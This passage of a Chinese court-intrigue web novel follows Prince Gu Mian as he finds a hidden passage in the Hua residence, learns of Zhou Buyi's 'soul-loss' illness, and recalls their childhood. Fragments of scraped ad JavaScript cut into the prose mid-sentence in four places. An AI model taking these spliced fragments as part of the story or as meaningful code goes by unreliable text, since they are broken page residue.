顾棉连呼吸都停了,美人的手只是很随意地搭在腿上,只用一双深不见底的眼睛凝望着他。 深潭一样的眸子,瞬间就将他淹溺。 压迫感真的太强了,面对着他,就像面对着一条盘在面前的巨蟒——它没有任何动作,但人就是不敢动,不敢挪步,不敢呼吸,不敢稍稍晃动那么一下,导致它瞬间摄住人的命脉,只一下就要了人的命! “如果你在骗我”,周卜易轻抬眼皮,隔了好一会,才发出一声轻呵,“北离皇室,就不必存在了。” ——他这又是在跟谁说话?诏狱里究竟还有多少不为人知的辛密?! 北离皇室! 顾棉深吸气,长呼气,再吸。 是否也包括他和母妃! ——周卜易!你好样的! 你果然是顾君颐的走狗! 顾棉费了好一番功夫,才把那一口长气完完全全呼出来。 心如刀绞,肺如火燎。 莫过于此。 他几乎控制不住想要夺门而出,去外面好好淋上一场雨,才足以令他躁动的心脏稍稍冷静。 咚咚咚——! 急促而又不失规律的敲门声就在此刻突兀响起! 顾棉没有贸然开门,但对方显然也没有进来的意思,只是从门缝底下塞进来一个湿了半边的香囊。 里面似乎装的是一些药材,顾棉只是轻嗅了一下,顿时便觉神清气爽。 他立刻反应过来门外的应当是华家家仆,这个香囊,就是华云舒特意给周卜易备的药! 只他犹不放心,捏在手里良久,自己也没感觉什么异样,这才试探着将香囊的系带挂在周卜易脖子上。 美人的头瞬间垂下来,没了生气。 顾棉把他的脑袋托起来,换了个舒服的姿势靠在椅背上。 他又深吸了口气,端起茶壶翻开新杯子,给自己倒了杯冷茶,然后一饮而尽。 ——他只是不想这麻烦鬼再落了枕,到时候又得他费劲吧啦去揉开罢了。 他发过誓的,这又累又手酸的活这辈子他都不会再干第二次了。 大约也是这么大的雨天吧……不,要比这小上不少。 周卜易有偏头痛,一到下雨天,人就格外恹。 顾棉搬着小板凳,就放到美人躺的藤椅背后。 然后他扶着椅背踩上去,板凳重心不稳还差点摔了一跤。 “啧,笨死了。” 他好像听不见周卜易的冷嘲热讽,满心只有他先生头疼,他得帮他揉揉。 他将沾了风露有些许微凉的小手放在周卜易鬓角。 还没揉呢,眼尖的他就发现了几根白发。 “先生今年……多大?” 他哆嗦着唇。 怎么就这么早,便生了华发? “十六”,周卜易不耐地皱了眉,“不许叫…唔……” 十六吗?那就比自己大九岁而已啊…… 顾棉也不知道自己当时怎么想的,竟是直接伸手捂了周卜易的嘴。 然后他有些低落的说,“知道了……” 他松开手,轻轻滑过周卜易脸颊,抚上太阳穴。 先生的脸,好…好软…… 好像馒头啊。 不,不对,馒头没有先生的脸颊肉光滑,应该像…… 像什么呢?他一边揉啊揉啊,一边绞尽脑汁冥思苦想。 有了!像宫里传膳的时候,往母妃那里送过的鸽子蛋! “没吃饭呢?”周卜易凉嗖嗖的声音传来,“怎么像个小丫头,手上劲这般小。” 小…小丫头…… 顾棉手上动作渐渐停了,周卜易一抬头,就发现他闹了个大红脸。 “果然是个小丫头,这还臊上了”,周卜易嗤笑,“就这还闹着要去边南关,叫刀剑吓尿了裤子,臣可没闲工夫给殿下换尿片。” “棉丫头”,周卜易的笑容是那么那么不怀好意,“你明儿改穿裙子罢?” 是那么那么可恶! 顾棉从小板凳上跳下来,对着外面的大雨指天发誓。 “我…我……” 他是真的气急了,都有点语无伦次。 “先生再要头疼——” 说到这里,他气势弱下来,声音也越来越小,“我…我再也不管他了……” 轰咔—— 惊雷炸响! 多应景啊,老天爷好像看穿了他没底气,故意拆他的台! “啧—— “棉姑娘,你要真是个小姑娘,还怪可爱的——” 顾棉看着窗外比那时更深的雨幕,浮想联翩。 周卜易那时候脸上还有点肉,捏起来手感软软糯糯的,别提多舒服了。 可现在呢? 顾棉余光看见周卜易那瘦小的身体,那刀削斧砍过一般的消瘦脸庞。 下颌线,清晰得好像都能用它杀人了。 硌死人了,碰一下仿佛都会划破了手。 周卜易安安静静缩在轮椅里,其实他身高不低,可就是人太瘦太瘦,以至于显得如此小巧。 小巧得好似一只卧在掌心的小雀儿,稍不留神就能给它捏死。 周卜易的一只手垂下来, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那束口的袖子竟也如此空荡荡吗。 空到足够令人怀疑,那里面究竟有没有胳膊。 好好的人怎么就这样了呢? 顾棉想,那当然是周卜易活该,谁叫他与虎谋皮。 门外的脚步声一阵大过一阵,一阵杂过一阵。 ——外面在忙什么? 顾棉看了灯下安睡的美人一眼,又看了看外面的幢幢人影。 他还是决定要出去看看,龟缩在这屋子里太不像话。 他必须得做点什么,拿到主动权! “梁上的朋友,可否现身一见”,顾棉压低了嗓门,“本王知道你就守在这里。” 壁上虎,来无影,去无踪。 肖珩只要想,甚至能做到踏水无痕。 但今天,他从梁上跳下来的时候有些趔趄,似乎受了什么伤。 他一身玄衣浸透了水,湿哒哒往地板上滴着不知道是血还是雨的什么东西。 “见过容王殿下”,肖珩克制着自己,语气有些生硬,显得冷淡又疏离。 “容王要是想出去,珩劝您还是打消这个念头,外面的事态连我肖家都差点招架不住。” “而且…大人的离魂症随时可能复发,云…华家那小子的香囊只能管得住一时罢了。” 所以周卜易的状态,是离魂症? 怎么回事?从前…… 顾棉张了张口,又闭紧。 这一定又是跟诏狱有关! 看来想要弄清楚周卜易身上的谜团,诏狱是非去不可了。 只是还要找一个合理的缘由才行。 “他的离魂症是什么时候开始的?” “今年春上,大人自诏狱刚出来那会看着还好好的,只是总不说话。 “他那阵子就住在华府华老爷子隔壁,我们也不知道他二人都具体做了些什么,只知道那段时间华府的药材消耗极快,采买的下人报怨了几次。 “云舒说,他经常看见他爹进出大人的房间,进去的时候是一套衣裳,出来时就变了样式成了另一套。 “就在三月下旬的一天,华老爷子让下人采买的例药忽然变了方子。 “云舒留心问过,那方子他看了之后,笃定是遏制离魂症的!” 所以周卜易是在三月下旬,与华山泉接触之后,忽然患上离魂症的! 顾棉很难不怀疑这件事跟华山泉有什么关联。 究竟是华山泉有意加害,还是周卜易自己做的决定? 如果是前者,那么今夜会相当凶险。 如果是后者,周卜易竟然不惜付出如此代价,那他所图一定甚大! 顾棉只感觉自己陷进了一个又一个套好的环,走入一个又一个连好的局。 处处都是迷团,前路茫茫根本看不分明。 而最大的谜团,就是那把折竹剑,那条银环蛇,那支鸢尾花,那个…… 那个浑身上下仿佛都由大麻组成的周卜易。 销魂、致瘾,然后欲罢不能! 一旦摊上,便再也甩不开。 顾棉最后看了那美得惊心动魄的面容一眼。 “如今人声稍小便能被雨声盖住,天上乌云浓厚密不透光,正是神不知鬼不觉查清楚一切的最好时机”,顾棉很冷静,但他的掌心在微微冒汗,“你留下来好生保护你家大人,本王出去打探情况!” 16. 心病还须心药医 “不…不要……” 猫儿似的,挠在心尖上,发痒。 顾棉瞬间回头,朝着声源望去。 周卜易没醒,但他在挣扎,他的手动了一下,似乎是想要抓住什么。 “不要……顾棉…… “不…不准去……” 顾棉浑身一震,他一个箭步几乎是一瞬间就冲到周卜易面前,握住了美人轻抬的手。 “你……你醒着吗……?” “不要……” 美人紧紧抓住他的手,“不要!” 肖珩沉默着走到顾棉背后,眼中满是骇然神色。 ——离魂之人要用多大的心力才能找到这一丝清明呢? 又要用多少精气神,才能控制着理智,说出一句完整的阻拦的话? 果然在这个世上,能治心病的从来都不是药材啊。 肖珩拍了拍顾棉肩膀,“等大人醒了我来解释,殿下想做什么就去吧。” 听到这句话,周卜易的手更紧了,手背青筋暴起,他几乎要把顾棉的手腕攥出於痕。 ——果然也只有殿下,能让大人如此了吧? 肖珩拿起垂在周卜易胸前的药囊,放到他鼻子下面。 手,很快滑落下去。 但美人犹不甘心,复又抬起,只是抬了一半便垂下去,彻底消停了。 太近了,他扛不住这由神医亲自为他配出来的药力。 肖珩忍不住颤抖,他几乎可以料见天亮后周卜易会有多大怒火。 可是大人啊,殿下需要成长。 这不是他肖允之一个人的意思,谱上其他人也都是这么想的。 包括那一脉…… 而且事情其实还算可控不是吗? 肖珩看着顾棉将门开了个缝,钻出去,远去了。 他将食指和拇指放在唇边,吹了个暗哨。 三分之二的肖家人在暗中保护,应该足够了。 至于大人这边,有他肖珩一人足矣! 外面很怪,方才还吵得不行,这会就已经彻底陷入死寂。 怎么回事?难道其他人都死完了?! 顾棉换了身黑衣,戴着面罩,猫着腰,决定走到隔壁客房,先蹲在窗下听听情况。 里面是均匀的呼吸声,甚至还有鼾声时不时夹杂在里面! 刚刚这么大的动静,屋里的人还能睡得着? 不对啊,这雨下起来根本没多大会儿,之前人可都聚在对面看尸体呢,怎么可能这么快就睡着了? 有古怪! 顾棉抬起左手,将面罩捂紧了些,掩住口鼻。 他慢慢站起身,将屋内场景尽收眼底。 堂屋中间点着一根红烛,烛光映照下清晰可见丝丝缕缕挥散的白烟。 如云如雾。 那是一种相当厉害的迷香,地上倒着两个人。 其中一人右手前方的地板上有一株他认不出来的药草,另一人胸前满是药粉,捣杵滚落到桌子底下,装药粉的碗就倒扣在他胸口。 被药倒的是东鼎国的两位名医,看样子他们竟是分毫没有察觉迷香的存在。 顾棉直起身,他笃定其他房间多半也是这样的场景! 他在院子里转了一圈,果然,里面的人都是在做事的时候忽然被放倒的。 有的在看医书,有的在整理衣服。 别院有一人在喝茶,茶杯碎片划破手腕,血流了一地那人也没醒。 住在华府的,没有一个等闲之辈。 谁会有这样的本事,神不知鬼不觉就放倒了几乎全天下的名医? ——华云舒。 不,还有可能是那只死去的离梁燕,华山泉。 华山泉到底是死是活?周卜易凭什么连门都没进,就断言华山泉真的已经死了? 也许华山泉又是以假死脱身呢? 已知的信息太少,再多猜测也无意义,顾棉还是决定去停尸房看看。 不过那里有剧毒,还要先找华云舒再说。 ——对了! 顾棉脑中电光一闪。 ——华云舒人呢?! 他已经把华府上下转了个遍,却连个人影都没有看见! 不可能是凭空消失…… 只有一种可能,华云舒出府了。 下这么大的雨他去了哪? 背后忽然一阵凉风,顾棉立刻侧过身来,后背贴墙。 “谁!” 没有人,似乎真的只是一阵风而已。 下着大雨,刮风是再正常不过的事了。 可顾棉还是觉得不太对劲,那阵风来得太奇怪,很像…… 很像是有什么东西要自背后偷袭! 他没有丝毫迟疑就回头了,可却什么都没看到。 总不可能是闹鬼吧? 顾棉感到不安的情绪在心底渐渐蔓延,他推开一扇门,从门里拿了油灯。 灯芯跟随灯油一直在不断摇晃,那一点小小的火苗也将灭不灭。 华府好像在某一瞬间,就空了。 家仆们不知去往何方,来客全都诡异倒地,而华府的主人更是直接失踪。 院子里的花草都被搅碎了混在泥水里,似乎有两方势力在这里激烈交战过。 顾棉回忆了一下肖珩从梁上下来的状态。 ——难道是肖家跟华家打起来了? 然后华云舒带着华家人跑了? 不像啊,看肖珩语气似乎与华云舒很是熟稔,而且好像还在一起共事。 且华云舒能在肖珩眼皮子底下派人过来送药,说明肖珩对他是没有设防的。 等等……时间不对! 华府家仆刚刚才过来送药,怎么可能这么快就离开! 华云舒和其他人应该还在这里,只是他看不见! 这府上除了明面上的几座宅院,一定还有密室! 肖二坐在屋檐上,嘴里叼着根沾了泥点子的草。 ——殿下好快的反应力。 他刚把人处理了,准备闪,就差点被殿下发现。 ——哎,也不知道老大怎么想的,干嘛把人放出来,那帮家伙贼心不死,下半夜很有可能卷土重来。 肖二扛起一具黑衣尸体,几个跃步就消失了。 没发出任何声音。 与此同时,顾棉抬头,目光定定地看着肖二刚刚离开的地方。 ——不对劲,刚刚那里绝对有人。 顾棉左右看了看,没看到人,他想了想,纵身一跃上了屋顶。 藏在暗处的肖十一眼睛瞬间瞪大。 ——殿下什么时候学的内功?!问青天怎么一点信都没探到?! 肖十一朝那边比划了一个手势 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,有一黑衣人贴着天花板慢慢往里移动。 顾棉皱眉,屋顶上并无异常,但他还是觉得不对劲。 为什么总感觉身边有无数道目光在偷窥? 那种感觉很不好。 他站在屋顶上,雨水浇灭了油灯,所幸他夜视能力不错,草草看了一下整个华府。 一片死一样的寂静,灯光很少,也很弱。 那都是客房未来得及灭的。 顾棉跳下房顶,落地时只发出了很小的声音。 肖十一目光炯炯——殿下才这个年纪,又没有专门练过,能有此成就真的很不错了。 至少日后如果要上战场,他能有自保之力。 想到这里,肖十一的目光黯淡下来,他想到了死在边南关的兄弟。 边南关那些硬骨头不好啃,大人不知为何又一直在拖延不肯总攻。 直到去年才控制了边南军和南方诸国。 肖十一收回思绪,跟着顾棉不断移动方位。 他身姿矫健,如影子一般完全融入夜色,他的速度非常快,几乎是一晃眼就能瞬移到别处。 他很自信不会被任何人发现,可顾棉还是抬头往他那边看了一眼。 顾棉皱着眉,眉头越来越紧,他加快了步伐,往主卧方向走。 到了华云舒房间,他在里面敲敲打打摸索了一阵,确定无论是墙壁还是地板都是实心的。 不会有任何藏人的空间。 他快步离开,关好门,往书房走。 不在主卧,那应该就是书房无疑了,密室一般都会存放重要的物品或者掩饰什么秘密,不会堂而皇之建在客房或者其他厢房,那样太招眼了,而且也不方便。 顾棉摸进书房门,刚进去就有一道雪白寒光扫过他眼皮。 眼睛被这光晃了一下,顾棉迅速抬手格挡,胳膊上一痛,衣服被划开,一道浅浅的白色划痕留在了胳膊上。 ——不错,反应很灵敏。 肖二一击得手就立刻消失。 他留了余力,就算顾棉不挡,他也不可能划到顾棉脖子。 顾棉眸色越来越深,对方是什么意思? 怎么直接跑了?不是来拦路的吗?为什么不跟他做过一场? 而且这力度,对方显然收手了,连皮都没给他划破。 不过越是拦着他,他越是觉得有问题。 密道十有八九就在此地! 顾棉毫不犹豫踏进门,直奔书架方向,一本一本扫视华家那些珍藏的医书。 有几本书下面的架子磨损与其他不同,他立刻将那些特别的书翻转过来。 眼前赫然出现一道门——书柜竟是向两边缓缓分开! 肖十一在窗外目睹了一切,然后消失。 ——聪明,观察很细致。 假以时日,殿下一定能成大材,达成那个目标。 为了这一天,他们已经等了太多年了,成百上千年以来,那一脉的负责人换了一代又一代,始终无人能成功。 大人是最接近的了! 而且殿下配得上那个位置,只是他还没成长起来。 就算大人怪罪,他们也必须要揠苗助长了! 留给他们的时间不多了! 肖珩站在周卜易面前,波澜不惊的眼睛下,藏着一丝忐忑。 天快亮了啊…… 17. 你究竟是何来历? 黎明其实已经过了,只是乌云太厚,所以天亮得不彻底。 周卜易已经醒了,眼睛直勾勾盯着面前的人。 肖珩无意识的用手捻着衣袖,克制着想要跑路的念头。 “通缉令已经处理了……”肖珩轻咳两声,“之前您自杀后尸体失踪,诏狱通缉了您的尸体,我们就一直在打点。” “现在已经以挫骨扬灰结案了。” 周卜易不接话,他的声音有些暗哑,“那边的人都解决了?” “是”,肖珩将头埋得更低,“几个漏网之鱼都……” “肖允之”,周卜易直接打断,“你中计了。” ——中…中计了? 肖珩从不怀疑周卜易的话,他直接一撩衣袍,单膝跪地,“允之……” 似乎是意识到不合时宜,他抿了抿唇,问道,“大人,我们现在该怎么办?” “你在做局,那边也在做局”,周卜易脸色很难看,“你解决的是对方弃掉的饵,我们尚不知做局的是什么人,而你肖家却已经暴露。” 肖珩目光一凌,昨夜解决的那一波人,衣帽上确实没有任何标志,而他…… 而他这个傻子,竟然直接告诉对方自己的家族! “黎阳春是怎么跟你说的?”周卜易神色冷厉,“游丝刀背后真正的秘密,只有我们跟做局人知道,我猜,黎阳春一定是告诉你,可以借此机会引蛇出洞?” 分毫不差!肖珩张了张干裂的唇,一句辩解的话也说不出来。 “那你有没有想过,对方既然能做这个局,就想到了游丝根本不在这里!” 周卜易的怒气根本压不住,他好看的美眸里全然淬了火,“好一个引蛇出洞!你肖允之就是那条按捺不住的蠢蛇!” 周卜易胸口起伏了几次,心疾隐隐又有发作的趋势。 “肖家已经暴露,对方目的达到不会再回来,你”,他用手抚了抚心口,“你……” 一滴鲜血悄然滑落唇角,“你马上带着肖家转移,离开朝歌秘密回北离隐藏起来,随时待命。” “走,现在就走”,周卜易手伸到毯子下面,摸索着寻找机关,“路上小心埋伏……如果不慎被……” “如果栽了”,肖珩眼中带着一丝决绝,“允之不会给他们留下套话的机会。” 周卜易一顿,道,“这次的账,下次见面算。” 肖珩心下一紧,随后放松,“是……” ——大人果然是刀子嘴豆腐心,明明是关心,非要说成算账…… 肖珩没有犹豫,直接离开。 黎阳春传的到底是不是公主的命令? 周卜易摸到了藏在靠背下的按钮,轮椅缓缓转动,他抬起手,搭在扶手上控制方向。 为什么黎阳春要引顾棉来华府? 真的只是单纯的试探吗? 黎阳春已经不止一次擅自行动了,这一次更是连带上谱的人都暴露。 他是单纯的莽撞,还是…… 周卜易看了灰蒙蒙的天空一眼,时间不多了,不能在神都这边耗太久。 ——找个时间,就跟顾棉摊牌吧。 算起来,顾君颐体内的积毒也快发作了。 雨暂时停了,微风徐徐,吹过桌上摊开的书页。 顾棉在黑黢黢的密道里走着,前面一点光芒若隐若现。 走到近前,他才看见那上面有一幅画。 “三家分齐”,有一个声音响起,“殿下听过这段秘史吗?” 那人拿着盏油灯,就站在画下。 “东鼎颜氏,北离苏氏,朝歌顾氏,在很久很久以前的远古时代……” 火光映出那人的脸,赫然就是不知所踪的华云舒! “在很久以前,这三个国家有一个共同的名字,天齐。 “无论殿下是否相信,远古时期曾经有过神,那位保了天齐三千年太平,后来又以身化轮回,分割阴阳两界,使人间鬼事渐渐消失。 “但相应的,他从此在阴间定居,再没过问人间事。” 顾棉冷着脸,并不相信华云舒的鬼话,“本王熟读各国史册,上面无一例外全都没有记载,你说的那个天齐,根本就不存在。” “你好像在把本王当小儿戏弄”,顾棉目光越来越冷,“什么鬼神之说,本王盖不相信。” “殿下信不信都没关系”,华云舒叹了口气,“我们总不会害您,难道您不想知道大人的身份和来历么?” “云舒,你过线了。” 咔哒咔哒的轮椅声自背后传来,美人伸手拢了拢盖在身上的毯子。 “够了,今日之事再有第二次”,周卜易略一停顿,随后轻笑,“你就下去陪你口中的那位神吧。” 周卜易的目光移到顾棉身上,停留了一会儿,笑。 “爷这穿的是什么玩意儿?”,美人垂眸,一副慵懒的样子,“扮大黑耗子吓唬谁呢?” “走,回去换”,周卜易勾了勾手指,“一身是水,再要害了风寒了,可跟谁哭去?” 顾棉察觉周卜易大概率在掩饰什么。 但与此同时,他看到了周卜易唇边那一抹没擦干净的血。 他本能抬脚,走到周卜易身后。 然后他就看见美人从袖中摸出一把刀。 那刀身薄如蝉翼,微弱的日光一照,竟是显得有些透明。 这样薄的刀,真的不会一碰就碎吗? 似是看出他心中所想,美人薄唇轻启,解释道,“它材质特殊,刚柔并济,因为韧性好,所以不会轻易断裂。” “听过庖丁解牛的故事吗,这刀在别人手里,用不了多久就会豁口,但在神医手中,用个几十上百年也依旧如新。” “所以,它为何在你手里”,顾棉推着轮椅,在狭窄的密道中缓缓前行,“你看着那些人为了此物上蹿下跳的时候,心中想了什么?” “爷还是把心思放别处吧”,美人歪头,笑了笑,“奴能想什么,就挺高兴的。” “高兴什么呢”,顾棉刨根问底。 “小命得保,能不高兴吗?” 顾棉低头去看,周卜易眼睛里根本没有多少笑意。 没有分毫劫后余生的欣喜。 “本王的私奴,不应该对本王有任何隐瞒”,顾棉看着美人毛茸茸的脑袋,忍了又忍,没忍住,上手摸了一把。 “你的一切,都属于本王。” “没瞒呢”,周卜易眯起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眸子,顾棉觉得他好像一只被撸舒服了的猫儿。 “爷想知道什么,等回去再说。” 顾棉不置可否,这华府之旅来得仓促去得莫名,总感觉他看到的只是冰山一角,而更多的玄机…… 顾棉又看了美人一眼。 “本王若想知道你的来历呢?” 不,其实只需要知道周卜易的立场,他就知足。 他想亲口听周卜易说,无论是什么结果。 他不想查出来,再一次又一次失望和心痛。 美人轻轻的笑了一声,然后道,“我啊?我是你的家奴。” 顾棉不想跟个小姑娘一样脸红,可身体的反应他控制不住。 “好”,顾棉放轻了声音,“本王信了。” 家奴,可是要给主人侍寝的。 “既然游丝已经拿到了,那就带着神医后人一起回府吧”,顾棉说着,回头看了华云舒一眼,“跟上来,你治好他,本王不杀你,以后你就留在容王府为本王做事。” “这…”华云舒看了周卜易一眼,见周卜易没什么反应,这才道,“谢王爷宽宏大量。” 华家人已经从另一处密道转移了,他跟殿下进容王府也好,正愁没机会解决大人身上的鬼旋针呢。 ——至于那些被他药倒的人,他才懒得管,过个几个时辰等他们醒了,自己就会离开吧。 华云舒立刻跟上去,小碎步迈得飞快没有一丝被强迫的不情愿。 顾棉右眼皮一跳,忽然感到一种不好的预感。 ——不会又带回去个麻烦吧??? 他不知怎的,隐隐很有些为自己府里的花草担忧。 周卜易闭目养神,身上的毯子滑了一半下来。 顾棉轻柔地给他盖回去,然后低声,“他身上的针,什么时候能取?” “过几天吧”,华云舒又看了周卜易一眼,仔细观察他的气色,然后道,“大人现在的身体状况太差,要先配方子养养才能动刀。” “大人身上都没什么营养,殿下要多煲汤给大人补补”,华云舒一谈起病患,就格外滔滔不绝,“还有……” 顾棉一一记在心中,然后问道,“这个药包会不会影响他的精神?” 先前周卜易瞬间垂头毫无生气的样子,实在有些吓人。 “这不用担心,这就是专门安神的,不过离魂症不好根治,还要看大人自己什么时候能走出来。” 顾棉点点头,走了一段距离,又问,“本王能帮他吗?先前……” 顾棉将之前周卜易阻拦他的事说了一遍。 “按理来说,离魂之人不可能听到外界的任何声音”,华云舒皱了皱眉,这种情况他也是第一次遇到。 难道……大人不是离魂症?! 不…不可能,药物对大人有作用,而且效果还不错,应该就是离魂症无疑。 怎么会这样呢? “这……云舒学浅,一时竟也想不通”,华云舒看着顾棉,“不过,殿下在大人心里一定十分重要,所以即便发病,也依然能听见殿下的声音,并做出回应。” 顾棉脚步一滞,呼吸在这一瞬间,乱了。 ——我,在他心里很…很重要吗? 18. 不如脱光算了 美人闭着眼睛,睡得很熟。 他的姿势很放松,窝在毯子里,像极了一只被午后的阳光晒倦怠了的猫。 顾棉盯着周卜易的睫毛,他的睫毛很长,垂下来藏了一半卧蚕。 小的时候呢,他就总喜欢盯着美人的卧蚕看。 看着看着,就忍不住伸出食指,想要摸一摸。 周卜易呢,就躺在一边的藤椅上,神情很是松弛。 秋日里,就连阳光都是橘红色,周卜易的眸子半眯着,露出来的瞳孔被光照的透明,泛着漂亮的浅琥珀色。 周卜易在跟他独处时,总是随意而放松的。 所以周卜易为什么在他身边永远是不设防的姿态呢? 顾棉想,那当然是因为周卜易不屑防着他这个小屁孩。 周卜易一直都看不上他啊。 怎么可能会是因为……信任呢…… 顾棉的眼皮在轻微颤动,推着轮椅的手发了汗,几乎要滑落下来。 他很快在身上擦了擦,再重新搭上去。 ——他不会再抱有一丝一毫期待了,再也不会了! 比起等待某个混蛋心血来潮的施舍,他更喜欢强势一点自己去拿。 不给他,他就硬抢,周卜易是恨他也罢唾弃他也好,那都不重要,他总有办法叫这高傲不可一世的美人低头臣服! 手心的汗怎么越来越多了呢?心里面乱麻似的。 “你来推轮椅”,顾棉退到一边,然后俯身,弯腰将可能还没真的猫儿重的美人抱起来。 ——要上马车了……本王不想抱他的…… 只是不喜欢别人碰本王的东西而已…… 谁会喜欢抱一堆硌人的干柴呢? 何况周卜易的手感实在是不如干柴的,抱着干柴还可以肆无忌惮,抱着病秧子美人,他怕稍不小心,这人就直接在他怀里七零八碎了。 马车缓缓前行,路边有人乞讨,被衙门乱棍打了一通,半死不活丢在道上。 驱车的马夫早已习以为常见怪不怪了,他绕了一下,便扬鞭打马远去。 这还是在神都之内,便随处可见穷困潦倒之人卷着草席藏在每一个肮脏腐臭的犄角旮旯里。 他们伸手乞讨,手上满是痦子,脓血干涸在了上面,也不在意,也从来不会想着要洗一洗。 他们穿着满是灰尘不合身的大褂,或许是从哪家员外府门前的垃圾堆捡的下人衣裳。 能蔽体就行了,哪管现在是什么温度,反正一年四季也就这一件儿。 他们的目光都很呆滞,神情麻木不仁,只有在看见洁白的手背和鲜亮干净的衣裳时,会一拥而上扑过去。 他们的眼睛像一群饿狼,闪着饥肠辘辘的凶光。 他们用生了烂疮的手,抓公子老爷们的衣袖,如果是小姐夫人,或许还会被他们趁乱摸一摸揩揩油。 他们不要饭,只要钱,有了钱就去烟馆当大爷,几文大钱往柜台上一排——“今儿爷就要上好的西洋烟丝!” 数不清的大麻被塞到不知道多少人有着牙垢的嘴含过的铜烟枪里点燃,烟雾里,快活好似神仙。 他们的妻女呢?早就被卖了换烟了,只要有一口烟抽,连家里老娘都卖得。 到处有人在祈祷,女人们双膝跪地,虔诚地朝着宫里方向下拜,“陛下圣明……” “陛下开开眼吧…救救我们吧…我们活不下去了……” 她们求过神拜过佛,可还是不知道怎样才能逃脱被窑子里的人带走的命运。 她们的枕边人,把她们卖了。 顾棉一路上都很沉默,就在他要放下车帘前,他看见了一个熟人。 是问青天的老鸨,她正抱着一个七八岁的小姑娘,跟身边人一边说笑一边走在回程路上。 ——那么小的孩子! 混账! 顾棉握了握拳头,深吸一口气,合上眼睛,告诉自己必须要忍耐。 其实这样的场景看多了,慢慢都会习惯的吧? 毕竟他现在什么都不能改变不是吗? 顾棉微微低头,将下颌搁在美人头顶。 他知道,谁有能力改变。 他知道周卜易一定能,曾经他就是因为太清楚这一点,才锲而不舍缠着周卜易收下他。 只是年幼时的濡慕,就足以支撑他对一个人念念不忘十余年吗? 不是的。顾棉想,他其实还是更想周卜易能教他点东西。 不是为了跟谁比。 他不知道他的国度出了什么问题,它好像是病了,他想要给它治病。 可周卜易呢,周卜易总在说他不配。 周卜易不肯收他啊,那样其实也没关系,反正已经是他的人了。 他会将周卜易囚于帐中,无论周卜易肯不肯,这辈子周卜易都只能是他的人! ——诚心拜你你不肯,那就跪在本王脚下做一个谋臣好了。 顾棉揉了揉美人发顶。 ——快点好起来吧……先生…… 本王真的要忍不住了。 马车走得不快,用了一个半时辰才到容王府。 顾棉抱着人,一路直接进了内院。 许管家叫来两个小厮,推着轮椅跟在顾棉身后。 许管家自己则领着华云舒去侧院,安排人住下。 门房里,傅辰看见华云舒进了王府,与之诧异对视一眼,便压低了草帽帽檐,捧着茶慢慢喝了一口。 ——这应该是大人的安排吧? 傅辰没有多想,他估算了一下时间,打算晚上饭点过后天黑之前再去问问大人具体情况,看看计划是否有什么变动。 顾棉照旧躺在檐下,他兜着周卜易的臀腿,把美人往上捞了捞。 他就让周卜易坐在他腿上,上半身趴在他怀里,他用左手搂着美人细腰,右手招来一个随身伺候的小婢女。 “去吩咐厨房,午膳和晚膳各加一碗补汤,粥都做成药膳,具体配方去问本王新招的客卿。” 华云舒的身份比较敏感,顾棉想着等会要给他伪造一个新身份才行。 之前他已经告诫华云舒,绝对不能表现得太惊才艳艳,王府里到处都是眼线。 顾棉思索了一会昨夜之事,实在有些支撑不住身体,沉沉睡去了。 旭阳高升,日头渐渐毒辣起来。 雨不知道在路上什么时候停的,廊下全是稀泥,几个家丁正在院子里铺木板。 “都看着点!可不能踩一脚泥,再进了主家的屋子,王爷定是要怪罪的!” 许永元指挥完,就到前院忙去了。 新来的那位客卿好生奇怪,好好的院子,好好的平地,非要叫人帮他挖几个坑出来,也不知道是要干什么。 他得过去看看。 顾棉这一觉睡得不太安稳,迷迷糊糊总是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 梦到稀奇古怪之事。 梦里周卜易一会人首蛇身朝他吐着信子,一会青面獠牙化作黑白无常要抓他下地府,一会又变成了一只猫正在慵懒地打哈欠。 梦很杂,很零碎,他皱起眉头,说起了梦话,“周卜易……” “周卜易,你……你不许再变了…… “本王……本王看不清你……” 他说话声音有点大,美人睡眼惺忪掀开眼皮,瞅了他一眼。 那眼神里带着一丝被吵醒的不满,但更多的是好奇。 周卜易索性也不睡了,就等着听顾棉能说出些什么离谱话来。 都说梦境反应着现实,是人最深层潜意识的反应。 ——顾棉,让我听听你的心。 “先生……你慢点走”,顾棉似乎梦到了不好的事,手在空气里一阵乱抓,最后攥住了周卜易衣袖。 “我…我跟不上了……” 这话听着耳熟啊,周卜易回忆了一下。 大约是十年前吧,大雪天,他两手空空在前面走,顾棉抱着他的配剑跟在他身后。 那剑那么沉,小家伙也不肯停下来歇一会。 他是在怕,怕周卜易走远了,就不要他了。 “等等……”顾棉闭着眼睛说梦话,他轻抿了唇,似乎有点不高兴。 在梦里,四里空旷只有白茫茫的雪色,前面那一抹飘然绝尘的身影很快就被风雪掩盖,不见了。 “等等我…求……”顾棉又抿了唇,似乎是不愿意再继续说下去。 可……周卜易一定已经越走越远了,他很快就要再也找不到他了。 周卜易怎么就不肯稍微停一停,哪怕只是一小会也好呢? 顾棉抱不动剑了,就把它丢在地上,拽着它的剑穗儿,拖着它走。 耳边忽然传来一声轻笑,“棉姑娘这会怎的没哭?嗯?” 他赫然抬头,周卜易正好整以暇看着他,脸上全然是调侃的神色,“劲小就多练,成天像个丫头似的,害不害臊?” 顾棉只觉得周卜易在调戏他,耳朵根子连着脖子瞬间就红了一大片。 “我…我没有害臊!” 小姑娘才害臊……他没有…… “那你脸红什么?总不会是热的?” “嗯……” 周卜易眼里露出惊讶之色,然后看了看迎面扑来的风雪,笑弯了眉毛。 “真热?” “嗯……”顾棉深深垂头,不想让周卜易看他的脸。 他的脸已经熟透了…… 可周卜易偏要一根指头戳着他脑袋,给他戳得抬起头来才作罢。 “哟,小殿下偷涂娘娘胭脂了?”周卜易伸出拇指和食指,捏了捏他的脸,“不像,娘娘的胭脂,可没这么红。” 顾棉眼见着连后脖颈都红完了,他一边迎着风雪吸鼻子,一边闷闷道,“我…我热的。” “我真的是热的……” “行,你热”,周卜易感到有些好笑,他也就真的笑了,他拿走了自己的配剑,随手挂在腰间。 